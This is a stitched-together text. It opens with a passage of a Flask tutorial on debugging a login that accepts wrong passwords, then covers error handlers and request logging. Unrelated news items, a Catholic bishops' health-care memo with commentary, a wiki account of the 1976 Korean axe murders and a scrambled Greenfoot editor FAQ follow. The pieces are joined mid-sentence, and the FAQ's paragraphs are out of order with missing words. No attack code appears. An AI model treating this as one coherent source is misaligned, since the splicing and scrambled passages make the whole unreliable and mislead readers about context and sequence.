-and when we push it to production our first user sends us an email to let us know that he mis-typed his password and was still logged into the system. We verify that this is the case on our live site. Woah, Nelly, that is not at all acceptable! So we quickly take down the login page and replace it with a message saying we are down for maintenance and we’ll be back as soon as possible (Rule #0 of SaaS - always treat your customers the way you would want to be treated).
Looking at it locally, we don’t see any reason that users should be able to log in without a password. However, we haven’t written any tests to test that a mis-typed password is rejected with an error message, so we can’t be 100% sure that this isn’t an error in our code. So let’s write a test case and see what happens:
def test_invalid_password_is_rejected ( self ): User. create ( name = "Joe", email = "joe@joes.com", password = "12345" ) with self. client : response = self. client. post ( url_for ( "users.login" ), data = { "email" : "joe@joes.com", "password" : "*****" }) self. assertTrue ( current_user. is_anonymous ()) self. assert_200 ( response ) self. assertIn ( "Invalid password", response. data )
Running the tests results in a failure:
.F.... ====================================================================== FAIL: test_invalid_password_is_rejected (app.users.tests.UserViewsTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "~/dev/flask-tracking/flask_tracking/users/tests.py", line 34, in test_invalid_password_is_rejected self.assertTrue(current_user.is_anonymous()) AssertionError: False is not true
Okay, so we can reproduce it locally. And we have a test case to yell at us until we fix the problem. Good. We’re on our way!
There are several ways we could debug the problem:
We could scatter print statements throughout the application until we find the source of the error.
statements throughout the application until we find the source of the error. We could generate intentional errors in our code and look at the existing environment using Flask’s built-in debugger.
We could step through the code using a debugger.
We’ll use all three techniques. First, let’s add a simple print statement to our app.users.models.LoginForm#validate_login method:
def validate_login ( self, field ): print 'Validating login'
When we run our tests again we do not see the “Validating login” message at all. That tells us that our method is not being called. Let’s add an intentional error to our view and make use of Flask’s internal debugger to verify the state of the world. First, we’ll create a new configuration for debugging:
# config.py class DebugConfiguration ( BaseConfiguration ): DEBUG = True
Then we will update flask_tracking.__init__ to use the new debug configuration:
app. config. from_object ( 'config.DebugConfiguration' )
And finally, we will add a Arithmetic error to our login_view method:
def login_view (): form = LoginForm ( request. form ) 1 / 0 # KABOOM!
Now, if we run:
$ python run.py
And navigate to the login page we will see a nice traceback. Clicking on the shell icon on the right of the last line of the traceback ( 1 / 0 ) will get us an interactive REPL that we can use to test our function:
>>> >>> form. validate_login ( field = None ) # We don't use the field argument
This results in:
Traceback (most recent call last): File "<debugger>", line 1, in < module > form. validate_login ( None ) File "~/dev/flask-tracking/flask_tracking/users/forms.py", line 15, in validate_login raise validators. ValidationError ( 'Invalid user' ) ValidationError : Invalid user
So now we know that our validation function works - it simply is not being called. Let’s remove that division by zero error from our login view and replace it with a call to the Python debugger pdb.
def login_view (): form = LoginForm ( request. form ) import pdb ; pdb. set_trace ()
Now, when we run our tests again we get a debugger:
python -m unittest discover..> ~/dev/flask-tracking/app/users/views.py(18)login_view() -> if form.validate_on_submit(): (Pdb)
We can step into the validate_on_submit method by typing “s” for “step”, and step over calls we are not interested in with “n” for “next” (a full introduction to PDB is beyond the scope of this tutorial - for more information on PDB see it’s documentation or type “h” while inside of pdb ):
(Pdb) s --Call-- > ~/.virtualenvs/realpython/lib/python2.7/site-packages/flask_wtf/form.py ( 120 ) validate_on_submit () -> def validate_on_submit(self):
I won’t walk you through the whole debugging session, but needless to say, the issue was with our code. WTForms allows for inline validators in the form validate_[fieldname]. Our validate_login method is never called because we don’t have a field named login in our form. Let’s remove the set_trace call from our controller and rename our flask_tracking.users.forms.LoginForm.validate_login method back to LoginForm.validate_password so that WTForms will pick it up as an inline validator for our password field. This ensures that it only gets called after both the name and password fields have been validated to contain user-supplied data.
Now, when we run our unit tests again, they should pass. Testing locally reveals that we did indeed fix the issue. We can now safely deploy and take down our maintenance message.
Error Handling
As we have discovered, a test suite does not guarantee that we will have no bugs in our application. It is possible for users to still come across errors in production. For example, if we simply blindly accessed request.args['some_optional_key'] in one of our controllers and we only wrote tests with that optional key set in the request, the end user would get a 400 Bad Request response from Flask by default. We want to show a helpful error message to the user in such cases. We also want to avoid showing the users unbranded or out-of-date pages without much help on where to go, or what to do next.
We can register error handlers with Flask to explicitly handle these sorts of issues. Let’s register one for the most common error - a mis-typed or no-longer existing link:
@app. errorhandler ( 404 ) def page_not_found ( e ): return render_template ( '404.html' ), 404
We may want to explicitly handle other kinds of errors as well, such as the 400 Bad Request errors that Flask generates for missing keys and the 500 Internal Server errors that are generated for uncaught exceptions:
@app. errorhandler ( 400 ) def key_error ( e ): return render_template ( '400.html' ), 400 @app. errorhandler ( 500 ) def internal_server_error ( e ): return render_template ( 'generic.html' ), 500
In addition to the HTTP errors that we might have to deal with, Flask also allows us to display different error pages when an uncaught exception bubbles up to its level. For now, let’s just register a generic error handler for all uncaught exceptions (but later we may want to register specific ones for more-common error conditions that we cannot do anything about):
@app. errorhandler ( Exception ) def unhandled_exception ( e ): return render_template ( 'generic.html' ), 500
Now all the most common cases of errors should be handled gracefully by our application.
However, we can do even better - let’s ensure that every error is nicely styled we could register the same error handler for every possible error condition:
# flask_tracking/errors.py from flask import current_app, Markup, render_template, request from werkzeug.exceptions import default_exceptions, HTTPException def error_handler ( error ): msg = "Request resulted in {} ". format ( error ) current_app. logger. warning ( msg, exc_info = error ) if isinstance ( error, HTTPException ): description = error. get_description ( request. environ ) code = error. code name = error. name else : description = ( "We encountered an error " "while trying to fulfill your request" ) code = 500 name = 'Internal Server Error' # Flask supports looking up multiple templates and rendering the first # one it finds. This will let us create specific error pages # for errors where we can provide the user some additional help. # (Like a 404, for example). templates_to_try = [ 'errors/ {}.html'. format ( code ), 'errors/generic.html' ] return render_template ( templates_to_try, code = code, name = Markup ( name ), description = Markup ( description ), error = error ) def init_app ( app ): for exception in default_exceptions : app. register_error_handler ( exception, error_handler ) app. register_error_handler ( Exception, error_handler ) # This can be used in __init__ with a # import.errors # errors.init_app(app)
This ensures that all the HTTP error conditions that Flask knows how to handle (4XX and 5XX level errors) have the error_handler function registered as their handler. Coupled with a app.register_error_handler(Exception, error_handler), this will cover almost every error that our application might throw. (There are a few exceptions, such as SystemExit that will not be caught this way and C-level segfaults or OS-level events will obviously not be caught and handled in this way, but those sorts of catastrophic events should be act-of-God occasions, not something that our application needs to be prepared to handle on a semi-regular basis).
Logging
Finally, let’s talk about logging. Users will not always have enough time to reach out to us with a fully fleshed-out bug report (not to mention, bad actors will be actively looking for ways to take advantage of us.) We need a way to ensure that we can look back in time and see what happened and when.
Fortunately, both Python and Flask have logging capabilities, so we do not need to re-invent the wheel here either. A standard Python logging logger is available on the Flask object at app.logger.
The first place where we could use some logging is in our error handlers. We don’t need to log 404s as the proxy server will do that for us if we set it up right, but we will want to log the reasons for our other exceptions (400, 500 and Exception). Let’s go ahead and add some more detailed logging to those handlers. Since we are doing using the same handler for all our errors, this is easy:
def error_handler ( error ): error_name = error. __name__ if error else "Unknown-Error" app. logger. warning ( 'Request resulted in {} '. format ( error_name ), exc_info = error ) #... etc....
Python’s documentation on the logging module has a good breakdown of the various available logging levels and what they are most appropriate for.
For those times when we don’t have access to the app (say, inside of our view modules) we can use the thread-local current_app in the exact same way as we would use app. For an example, let’s also add a bit of logging to our login and logout handlers:
from flask import current_app @users. route ( '/logout/' ) def logout_view (): current_app. debug ( 'Attempting to log out the current user' ) logout_user () current_app. debug ( 'Successfully logged out the current user' ) return redirect ( url_for ( 'tracking.index' ))
This code nicely demonstrates an issue we can run into with logging - having too much of it can be as bad as having too little. In this case, we have as much debugging code as we have application code, and it is difficult to follow the flow of the code any more. We’ll go ahead and remove this particular logging code, as it doesn’t add anything above and beyond what we would see in our proxy server’s access logs.
If we needed to log the entry and exit of each controller, we could add handlers for app.before_request and app.teardown_request. Just for fun, here’s how we might log every access to our application:
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One of those bad guys is Slade Wilson (Manu Bennett) who's apparently been locked in an underground prison on Lian Yu for years. In this exclusive clip of tonight's finale, Oliver and Slade reunite, and Oliver finds that Slade's sanity has returned after his bout with mirakuru.
"Why do you want to help me, after everything I've done?" Slade asks, reminding all of us that he was the one who killed Oliver's mother, and that Oliver probably should have killed him for that.By
From the moment LA Kings center Anze Kopitar joined younger brother Gasper and Mora IK in Sweden last month, MayorsManor has been giving you non-stop coverage – starting with the photos we posted just minutes after he took the ice for warm-ups in first game. Now that’s real-time, wouldn’t you say? They were up before the action even started…from a game halfway around the world!
Since then, we’ve had an endless stream of photos, video highlights and quotes about his performance over there.
Well, now comes the motherload. This is the FULL video of his debut vs. Djurgården on September 22, it has everything – including on-ice player introductions and all the fun from the opening faceoff through the final horn.
You’d figure it out quick enough anyway, but just to get you started – Anze is wearing #11 in red, Gasper is #22.
Enjoy…
For photos and quotes from Kopitar’s most recent game, click here. As an added bonus, that article also includes photos and post-game notes from the debut of Alec Martinez with TPS Turku (Finland) on Tuesday.
Plus, have you seen the Kopitar brothers on the Swedish version of ‘Cribs’ yet? If not, be sure to click here – don’t worry, it’s in English.
Finally, for more Kopitar family fun, here’s our exlcusive on-ice video interview with Anze and his father just moments after the Kings won the Stanley Cup.
Follow @mayorNHL
Special thanks to (and a stick-tap for) Evanna Grey, who contacted us all the way from Slovenia with a heads up that the above video was now available. Thanks!Republican presidential hopeful Ted Cruz was one of four senators announcing the introduction of a bill to make it easier to make claims to recover artwork seized by the Nazis during the Holocaust.
"The phrase 'never forget' is more than a slogan," the Texas senator said in a statement. "'Never forget' means working to right all the terrible injustices of the Holocaust, even if many decades have passed."
The introduction of the bill, which would establish a new six-year statute of limitations for claims regarding artwork stolen by the Nazis between 1933 and 1945, came barely an hour before Cruz was scheduled to tour a Matzah bakery in Brooklyn.
The GOP candidate who once spoke of "New York values" in the pejorative, is now courting votes in the Big Apple ahead of the April 19 New York primary.
Cruz's senior colleague from Texas, Majority Whip John Cornyn formally introduced the bill, joined in the bipartisan effort by Brooklyn's own Democratic Sen. Charles E. Schumer and Sen. Richard Blumenthal, D-Conn.
"Seventy-one years after the end of the Holocaust and Hitler’s terrifying regime, victims are still identifying possessions that have been missing all these years," Schumer said in a statement. "When a family discovers a piece of art that was stolen by the Nazis they deserve their day in court."
Cruz has largely been away from the Capitol while on the campaign trail, but his office was heavily engaged in drafting the measure over the last year, according to a Cruz aide directly involved in the discussions.
In addition to the immediate issue of the difficulty of recovering artwork that was seized by Nazi authorities, Cruz's office said there are echoes of efforts by the Islamic State to pillage antiquities and sell them for profit.
The aide said the measure was close to introduction several weeks ago, but the Senate offices involved wanted to get additional stakeholders. Their aim is for the bill to move quickly through the Judiciary Committee.
Contact Lesniewski at nielslesniewski@cqrollcall.com and follow him on Twitter at @nielslesniewski. Get breaking news alerts and more from Roll Call on your iPhone or your Android.A man holds his envelopes as he waits in line to mail his family's income tax returns at a mobile post office near the Internal Revenue Service building in downtown Washington, April 15, 2010. REUTERS/Jonathan Ernst
NEW YORK (Reuters) - Most Americans think the United States should raise taxes for the rich to balance the budget, according to a 60 Minutes/Vanity Fair poll released on Monday.
President Barack Obama last month signed into law a two-year extension of Bush-era tax cuts for millions of Americans, including the wealthiest, in a compromise with Republicans.
Republicans, who this week take control of the House of Representatives, want to extend all Bush-era tax cuts “permanently” for the middle class and wealthier Americans. They are also demanding spending cuts to curb the $1.3 trillion deficit.
Sixty-one percent of Americans polled would rather see taxes for the wealthy increased as a first step to tackling the deficit, the poll showed.
The next most popular way — chosen by 20 percent — was to cut defense spending.
Four percent would cut the Medicare government health insurance program for the elderly, and 3 percent would cut the Social Security retirement program, the poll showed.
Asked which part of the world they would fix first, the largest proportion of respondents — 36 percent — chose Washington, compared with 23 percent who picked the Middle East and 14 percent who chose Haiti.
The poll included a random sample of 1,067 adults across the United States from November 29 to December 2. The margin of error may be plus or minus 3 percentage points, 60 Minutes/Vanity Fair said.Multiple new office buildings could soon be coming to Atlantic Station, adding nearly 750,000 square feet of space to the mixed-use district.
According to Bisnow, developer Hines has announced a start date for a two-building office project to be known as Atlantic Yards. Plans call for the structures to rise on the south side of 17th Street on either side of Market Street.
Unlike the glassy towers on the north side of 17th Street, the new buildings will be clad in brick. The two 10-story buildings would bring nearly 500,000 square feet of spec office space to the western side of The Connector.
The buildings will be the first new offices constructed in the sprawling mixed-use development since 2009.
Meanwhile, Hines also plans to develop an office building for “creative” companies just down the street, at the northwest corner of 17th and State streets—between Twelve Atlantic Station condos and Seventeen West Apartments.
That project, first announced more than two years ago, would be a seven-story, 220,000-square-foot timber-framed building.
Hines hopes to break ground on the Atlantic Yards project, which is being designed now, in the second quarter of 2018.Early Thursday, the US Catholics Conference on Bishops circulated a memo (see below) and “supporting” documents to all bishops urging them to use this Sunday’s mass as a lobbying event designed to defeat health care reform if the bishops don’t get what they want on abortion. What do they want? They want to scuttle the well crafted compromise moderate pro-lifers and all prochoice groups have reluctantly supported and insist that health care reform efforts be used to cut off all sources of funding for abortions for all women—whether they are on Medicaid or currently have coverage for abortion in their private insurance plans.
Just about everyone rational has accepted the Capps Amendment which baldly states that federal funds will not be used for abortions. But the bishops want to reinterpret what constitutes federal funds and claim that a private insurance plan that covers abortion (though it might have some subscribers who do get a federal subsidy) would constitute using federal funds. The only way, they say, to insure that no federal funds are used is to exclude from the overall exchange any insurance plan that covers abortion. Their solution? Offer women special riders to insurance that cost additional funds if they want private coverage.
The insult to women, the idea of a scarlet “A” abortion rider to single them out is bad enough, but turning Sunday Mass into a political rally is absolutely too much.
One can only hope that every pro-life supporter of health care reform who has said that health care reform is too important to use as a way to advance either pro-choice or prolife objectives—from Jim Wallis to Catholics United and everyone in between—speaks out immediately in opposition to this kind of immoral use of religious services. And every pro-choice Catholic needs to walk out of church when the lobby sermon begins.
USCCB Nationwide Bulletin Insert
Pulpit Announcements & Prayer Petition
Instructions: As introduced by a cover letter to all bishops from the President of the Conference and the Chairmen of the 3 major USCCB committees engaged in health care reform, the US bishops have asked that the USCCB Nationwide Bulletin Insert on health care reform be printed or hand-stuffed in every parish bulletin and/or distributed in pews or at church entrances as soon as possible. Congressional votes may take place as soon as early November. Please encourage parishioners to pray for this effort as well. More information can be found at www.usccb.org/healthcare.
To be announced at all Masses on the weekend when the Bulletin Insert is distributed:
Congress is preparing to debate health care reform legislation. The Catholic bishops of the United States strongly support genuine health care reform that protects the life and dignity of all, from the moment of conception until natural death. However, all current bills are seriously deficient on abortion and conscience rights, and do not yet provide adequate access to health care for immigrants and the poor.
In your pews/bulletins today, you’ll find a special flier/bulletin insert from the US Bishops Conference asking you to please contact your Representative and Senators immediately and urge them to fix these bills with pro-life amendments. The flier/bulletin insert includes a web address that allows you to send an email message to Congress with a click of a button. The bishops have asked for our swift action and the commitment of our prayers for this critical effort. Thank you for your help. We can help make sure that health care reform will be about saving lives, not destroying them.
To be announced at all Masses on the weekend following the Bulletin Insert distribution:
Congress is preparing to debate health care reform legislation. The Catholic bishops of the United States strongly support genuine health care reform that protects the life and dignity of all, from the moment of conception until natural death. However, all current bills are seriously deficient on abortion and conscience rights, and do not yet provide adequate access to health care for immigrants and the poor.
Last weekend you received a special flier/bulletin insert from the US Bishops Conference asking you to please contact your Representative and Senators immediately and urge them to fix these bills with pro-life amendments. The flier/bulletin insert included a web address that allows you to send an email message to Congress with a click of a button. Additional fliers/bulletin inserts can be found at___________ (back of church, etc.). The bishops have asked for our swift action and the commitment of our prayers for this critical effort. Thank you for your help. We can help make sure that health care reform will be about saving lives, not destroying them.
Suggested Prayer of the Faithful:
That Congress will act to ensure that needed health care reform will truly protect the life, dignity and health care of all and that we will raise our voices to protect the unborn and the most vulnerable and to preserve our freedom of conscience. We pray to the Lord.When Tim Leiweke ditched the glamour of Tinseltown to cast his lot with Maple Leaf Sports and Entertainment Ltd. earlier this year, he made no secret of the fact he wanted to raise the star power of Canada's original Major League Soccer club.
As the man responsible for bringing David Beckham to North America, the former Anschutz Entertainment Group president and chief executive officer knew better than most what top-tier talent could do for his brand, both on and off the field.
Three MLS Cup finals in four years for the Los Angeles Galaxy, including back-to-back championships in 2011 and 2012, and growing the team into what is comfortably the most valuable franchise in MLS, worth in excess of $100-million (U.S.), was proof positive that when it comes to this continent's premier soccer league, the MLSE president/CEO has seen it, done it and bought the T-shirt.
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Yet, that expansive résumé did little to calm a restless Toronto FC fan base as the MLS transfer window closed last Thursday, without the marquee signing Leiweke had made a priority. A deal for Uruguayan star Diego Forlan, currently plying his trade with Internacional in Brazil, has thus far failed to come to fruition despite being agonizingly close, with the 2010 World Cup's best player reluctant to leave South America in the middle of the season.
Sources maintain the deal may still pan out during the January transfer window, when the Brazilian season will have wrapped up, and, given that TFC is playing out the string once again – sitting third from bottom with just four wins from 23 league games – there was little sense in bringing Forlan into a hopeless situation.
TFC also made overtures toward United States international Clint Dempsey, and while the former Tottenham Hotspur forward ultimately picked the Seattle Sounders because playing back in the U.S. was his No. 1 priority, he said Toronto's day will come.
"It's a matter of when, not if," Dempsey said of TFC acquiring a star name after Seattle's 2-1 win in Toronto last Saturday. "It's a great city, we've had a good time here and I think anybody would enjoy playing here."
Dempsey also discussed exactly what goes into the thought process a player goes through before uprooting his life to embark on a new chapter in his career.
"I think what plays a part in people's decision is: if it's a place they can see themselves living, how the team's doing, what players they have, who's the coach, what style of play he wants to do," he said.
"Toronto's in good shape. They've got [head coach] Ryan Nelsen, who was a great player, he did really well in Europe and I think the players can learn a lot underneath him and that's a good selling point. But there's a lot of things that go into a move and everything has to kind of fit into place and they do have a lot of good selling points here."
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One player who does seem on the verge of officially saying yes to TFC is 22-year-old Argentine striker Maximiliano Urruti, a long-time target who arrived in Toronto this week, and has been training with TFC while a deal is worked out between MLS and his club in Argentina (Newell's Old Boys).
Given the way the Forlan deal failed to materialize, and TFC's prior attempts to sign Urruti, Nelsen refused to say much on the impending deal.
"I was told about six months ago that it was done," he said, "so I can't say anything at the moment, because things happen and crazy things happen but we'd like to think it's pretty close to [being] done."
Having scored just 21 goals so far this season, Toronto could use all the help it can get, and though Urruti's strike rate of 11 goals in 47 games in Argentina is less-than impressive, the club has watched him enough times to feel confident his production will ramp up once he gets settled in.
"He was a very direct striker, always seemed to get on the end of things," Nelsen said of his impressions of Urruti when TFC scouted the player. "He had a good work habit, his technical ability is very good, he ticked a lot of boxes. A nice age, when you obviously haven't seen the best of him, he's still got a lot to grow.
"At 22, he's energetic, enthusiastic and a good young player that could be at a club for several years. A lot of clubs were interested and are still interested in Maxi so, hopefully, something can get done ASAP."Background Edit
OP No. 5, from which the pictures of the axe murder were taken View from KPA No. 7 (near CP No. 2) towards CP No. 3 The layout of the Joint Security Area in 1976 In the Joint Security Area, near the Bridge of No Return, a 100-foot (30 m) poplar tree blocked the line of sight between a United Nations Command (UNC) checkpoint (CP No. 3) and an observation post (OP No. 5). Command Post No. 3, situated next to the Bridge of No Return, was the northernmost UNC checkpoint and only visible from OP No. 5 during the winter months. During the summer months, only the top of CP No. 3 was visible from one other UNC checkpoint (CP No. 2). Running across the middle of the bridge was the Military Demarcation Line between North Korean and South Korean territories. On one occasion before the incident, North Korean soldiers had held a group of U.S. troops at gunpoint, so Joint Security Force (JSF) company commander Captain Arthur Bonifas was sent to force the North Koreans to stand down and bring the Americans back to safety, which he did successfully.[1] Bonifas would later be one of the two Americans killed in the axe murders. The North Koreans said that the tree had been planted by Kim Il-Sung.[2]
Initial trimming Edit
On August 18, 1976, a group of five Korean Service Corps (KSC) personnel escorted by a UNC security team consisting of Captain Arthur Bonifas, his South Korean (ROK) Army counterpart, Captain Kim, the platoon leader of the current platoon in the area (First Lieutenant Mark Barrett), and 11 enlisted personnel, both American and South Korean,[3] went into the JSA to trim the tree. The two captains did not wear side arms, as members of the Joint Security Area were limited to only five armed officers and 30 armed enlisted personnel at a time. However, there were mattocks in the back of the 2½ ton truck. The KSC workers had the axes they brought to prune the tree branches. After trimming began, about 15 North Korean soldiers appeared, commanded by Senior Lt. Pak Chul, whom the UNC soldiers had previously nicknamed "Lt. Bulldog" due to a history of confrontations.[4][5] Pak and his subordinates appeared to observe the trimming without concern for approximately 15 minutes, until he abruptly told the UNC to cease the activity, stating that the tree could not be trimmed "because Kim Il Sung personally planted it and nourished it and it's growing under his supervision."[2] Captain Bonifas ordered the detail to continue, and turned his back on Lt. Pak Chul.[6]
Attack Edit
After being ignored by Bonifas, Pak sent a runner across the Bridge of No Return. Within minutes, a North Korean guard truck crossed the bridge and approximately 20 more North Korean guards disembarked carrying crowbars and clubs. Pak again demanded that the tree-trimming stop. When Bonifas again turned his back on him, Pak removed his watch, carefully wrapped it in a handkerchief, placed it in his pocket, and then shouted, "Kill the bastards!"[6][7] Using axes dropped by the tree-trimmers, the KPA forces attacked the two U.S. soldiers, Bonifas and Barrett, and wounded all but one of the UNC guards.[4][8] While Bonifas was knocked to the ground by Pak and then bludgeoned to death by at least five North Koreans, Barrett jumped over a low wall which led past a 4.5-metre (15 ft) deep tree-filled depression, just across the road from the tree. The depression was not visible from the road because of the dense grass and small trees. The entire fight lasted for only 20 to 30 seconds before the UNC force managed to disperse the North Korean guards and place Bonifas' body in their truck.[7] However, there was no sign of Barrett and the two UNC guards at OP No. 5 could not see him. The UNC force did, however, observe the North Korean guards at KPA No. 8 (along the UNC emergency egress road) exhibiting strange behavior, in that one guard would take an axe and go down into the depression for a couple of minutes and then come back up and hand the axe to another guard who would repeat the process.[1] This went on for approximately 90 minutes until the UNC guards at OP No. 5 were informed that Barrett was missing, at which time they informed their superiors about the KPA activity in the depression. A search and rescue squad was quickly dispatched and found that Barrett had been attacked with the axe by the North Koreans.[1] Barrett was recovered and transferred to a hospital in Seoul via an aid station at Camp Greaves, but died during the journey. Captain Shirron (Bonifas' replacement), Captain Shaddix, the joint duty officer's driver, the joint duty officer, and the OP No. 5 guard witnessed the attack from OP No. 5 and recorded the incident with both a black and white camera, which ran out of film, and Shaddix's 35 mm camera with a telephoto lens. The UNC guard at CP No. 3 (Bridge of No Return) recorded the incident with a movie camera.[citation needed]
Reaction Edit
Shortly after the incident, the North Korean media began airing reports of the fight. The North Korean version stated: Around 10:45 a.m. today, the American imperialist aggressors sent in 14 hoodlums with axes into the Joint Security Area to cut the trees on their own accord, although such a work should have mutually consented beforehand. Four persons from our side went to the spot to warn them not to continue the work without our consent. Against our persuasion, they attacked our guards en masse and committed a serious provocative act of beating our men, wielding murderous weapons and depending on the fact that they outnumbered us. Our guards could not but resort to self-defense measures under the circumstances of this reckless provocation.[7] Within four hours of the attack, Kim Jong-il (son of the North Korean leader Kim Il-sung) addressed the Conference of Non-Aligned Nations in Colombo, Sri Lanka, where he presented a prepared document describing the incident as an unprovoked attack on North Korean guards, led by American officers. He then introduced a resolution asking the conference to condemn that day's grave U.S. provocation and called on participants to endorse both the withdrawal of U.S. forces from Korea and the dissolution of the United Nations Command, which was seconded by Cuba. The members of the conference passed the resolution.[9] The CIA considered the attack to be pre-planned by the North Korean government. A variety of responses were evaluated. Readiness levels for American forces in South Korea were increased to DEFCON 3 early on August 19. Rocket and artillery attacks in the area were considered, but discounted due to an unfavorable 4:1 ratio of artillery pieces and because President Park Chung-hee did not want military action taken.[10][11]
Operation Paul Bunyan Edit
See also Edit
2010 Israel–Lebanon border clash, an incident after an Israeli attempted to cut down a tree
References Edit3 videos in this postFirefighters remain at the scene of a blaze involving 15,000 tonnes of tyres at a North Yorkshire recycling plant.The fire at Newgen Recycling Centre in Sherburn-in-Elmet on Thursday sent up a plume of smoke so thick it could be seen from space.Fire chiefs are letting the smouldering tyres burn out but warn it could take several days.Once extinguished, investigators will work to establish the cause of the blaze.One of the things they will look at is whether the tyres were stored correctly.Dave McCabe, area manager for North Yorkshire Fire and Rescue Service, said: "One of the questions we will be asking is how this fire started and why it was allowed to spread so rapidly, because what we would recommend is that a tyre dump of this nature would be split into small stacks."At the end of this we will be looking to see if that legislation was complied with."'Following procedure'Councillor Mark Crane, leader of Selby District Council, said an inspection of the site in 2013 found the owners were following the storage recommendations requested by planning officers.He added: "We put a number of planning regulations in place for the storage of the tyres, it's clearly too early to see whether these were followed but officers did go last year and there were only minor modifications."At the time, [the owners] were following the procedures we had laid out."Residents are still being advised to keep windows and doors closed and avoid unnecessary journeys.At its height, 100 firefighters and 14 fire engines were involved in tackling the blaze at Lennerton Lane.Original KISS guitarist Ace Frehley has inked a new two-album deal with eOne Music.
Frehley recently spent time in the studio with drummer Matt Starr (BURNING RAIN) and bassist Chris Wyse (THE CULT, OWL) working on Ace's new CD. An early 2014 release is expected.
Frehley's last album, "Anomaly", was made available as a 2-LP vinyl set featuring two new limited-edition colors on October 1 via Brookvale Records. Only 750 units of each color were manufactured.
Frehley told Billboard.com in a 2009 interview that he intended "Anomaly" to "kind of pick up where I left off with my first solo album" — 1978's "Ace Frehley".
"Prior to going into the studio, I listened to that first album, which everybody cites as their favorite Ace record," Frehley said. "I dissected it and tried to get into the same mind set this time around. I think I recaptured some of the musical textures and attitude and vibe that I had on that first record."
"Anomaly" was recorded at Schoolhouse Studios in New York and at Ace's home studio in Westchester, New York.Tell me more You can skip down to read more about the advantages for education, or for expert programmers
Of course -- this isn't just a theoretical concept. It's built in to our Greenfoot software, aimed at helping beginners learn to program. First, download and install Greenfoot 3. We'll switch to video to guide you through the process of writing your first project:We are hard at work on the final version, which we hope to release later in 2015.
Sometimes a slot is a single text field; a variable name slot in a variable name definition is a single text field. But expression slots can have a richer structure. This allows us to do things like having prompt text for parameters in method calls:
No. Frames are useful for statements, but they get unwieldy if you were to use them for expressions. So to allow for faster editing, expressions are edited a lot like text, in something we call slots.
Comments are generally used in programming for two purposes. One is to actually add a text comment to some code, to explain what is going on or apologise to the next programmer for the code you wrote. The other purpose is to disable some code. It's interesting that using comments for this is so firmly embedded that we tend to refer to "commenting code out" rather than "disabling code" or "turning off code". The fact that you use comments to disable code is a historical accident; the better thing to do is to have a way to just directly disable code. Like a right-click menu item:The frame remains present, but blurred to indicate it is disabled. It can be re-enabled in the same way.
If a frame is a single entity, how do you comment one out?
Here are two examples. Firstly, it is generally useful to have some idea of where you are in your code -- for example, which method you are editing. Once the method header scrolls off the screen, you usually lose this context. But in our editor we just pin the header to the top of the screen:This sort of context is often useful in your code. But if we pinned a header for every structure (if frames, while, etc) then you would soon run out of room on the screen. But there is some unused space we can take advantage of; the indent space. Here's what happens when the top of the structure scrolls off the screen -- the header is duplicated in the left indent margin:Naturally, this becomes more useful, the longer the body of the statement is.
Frames aren't just a way to edit text; they are a different representation of a program. Once you move away from the idea that your program is a text buffer, you can explore different mechanisms, overlays and displays of your code.
Wrapping code inside a control structure is a reasonably common manipulation. But you only need to insert the top and bottom brackets separately because that's how to accomplish the manipulation in a text-based editor. In a frame-based editor, you can do it more directly. You select the frames you want to wrap, then just press the shortcut key for the frame you want, likefor while:
Aren't there times when you do want to insert the curly brackets separately?
Aren't there times when you do want to insert the curly brackets separately? For example, wrapping some existing code in an if statement.
Because a frame is one element, you can't have half a frame; there is no idea of mismatched curly brackets here. Many syntax errors are thus automatically prevented. Frames can be manipulated as a whole item: easily dragged around, cut, copied and pasted without accidentally missing a curly bracket:And in fact, we can disallow drops where code is invalid; statements can't be dragged into the class scope (and methods can't be dragged inside methods):You can see that the drag target is indicated as invalid (via the red cross); in these cases, releasing the mouse button simply cancels the drag.
During text editing, you have a text cursor that sits between characters to act as an insertion point. In frame-based editing, you similarly have a, that sits between frames and acts as an insertion point. The blue bar is the frame cursor. You use the frame cursor to navigate up and down between frames with the up/down keys:
If you want to insert a frame, you press a single key to add it. For example, to add an if frame, you press thekey (click left-handicon to play animation):
Traditionally, programs are written as text files. Writing programs like this comes with many disadvantages, such as being able to make nonsensical errors. Much like the sound of one hand clapping, what is the meaning of an unmatched bracket? Why can a misplaced character early in the file cause the rest of the file to be unparseable? In frame-based editing, each statement or structure in your program is one cohesive, indivisible element: a frame. Here's an if frame:There is no syntax to memorise, type in or mess up; the keywords (if, while, etc) are just non-editable labels. (If you are familiar with block-based editors, we discuss how frame-based editing is different later on.)
There are a few added features to help understand object-orientation. Greenfoot is already designed to help convey concepts like classes and objects. In the interface, the classes are shown on the right-hand side (there is one Rocket class) and the objects are seen on the left-hand side (there are multiple Rocket objects):One thing that we have seen students struggle with in Greenfoot is inheritance of methods. They often call methods, like, without really understanding where the method "comes from", or why certain methods are available in Actor subclasses but not in World subclasses. We now have a new inherited methods display, which shows which methods are available (inherited) from the parent class:For convenience, these methods can easily be overridden in the current class by right-clicking on them:We also automatically label overridden methods to aid understanding:
Is frame-based editing just a help for syntax? What about concepts, like objects?
Our intention is that students, starting programming at ages 5--10, will go through block based editing and frame-based editing to reach text-based editing. (Ideally, we hope that frame-based editing will be superior to text-based editing and catch on professionally, but we recognise that for the foreseeable future, text-based editing is the eventual destination for students.) Our Stride programming language is very similar to Java, so students can start in Stride and learn all the semantics of Java, and later on transition to programming Java with textual syntax. The students don't even need to leave Greenfoot: we have our new Stride editor, and our classic Java editor. They can even seamlessly have Java and Stride classes in the same project as they transition.
It's nice to have this new editor, but ultimately I need to get my students programming in a text-based language
Most students are not expert typers. The code completion shown earlier helps cut down on typing. But there is also support for correcting typing mistakes. Much like google search, if you make a mistake while typing, then we try to offer corrections in the code completion:We also offer quick fixes for mistyped variable names (soon to be extended to method names):This is particularly useful when students forget about case-sensitivity:
The equivalent to the frames menu for method calls is code completion. Once the cursor is in a slot (e.g. in a method call frame, or in the condition of an if frame), you can press
to bring up code completion. This shows all the methods and variables that are available:You can either click on the method, or use the keys to select a choice.
How do the students know what method calls are available?
It is like the blocks menu in Scratch. The nice thing about the frame menu is that it is so much smaller than Scratch. Scratch has lots and lots of quite specific blocks; assignment, expressions, turning, moving, changing colour, and so on. Greenfoot has only a few top-level frames, with much of the functionality effectively moved to be within method calls. This means that the frames menu is less overwhelming than the blocks menu.
The shortcuts are useful to learn, but they don't have to be memorised -- the help column on the right-hand side shows the available shortcuts:This is an improvement over text editing, where students not only had to memorise the syntax for each construct, but also remember which constructs were available to them. The help provides some guidance and prompting.
